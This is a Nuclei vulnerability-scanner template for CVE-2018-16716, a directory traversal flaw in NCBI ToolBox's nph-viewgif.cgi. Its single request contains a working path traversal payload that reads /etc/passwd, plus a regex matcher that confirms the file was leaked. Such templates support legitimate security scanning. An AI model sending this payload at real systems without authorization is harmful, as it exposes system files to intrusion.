nuclei-templates/cves/2018/CVE-2018-16716.yaml

id: CVE-2018-16716

info:
  name: NCBI ToolBox - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16716
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2018-16716
    cwe-id: CWE-22
  tags: cve,cve2018,ncbi,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/18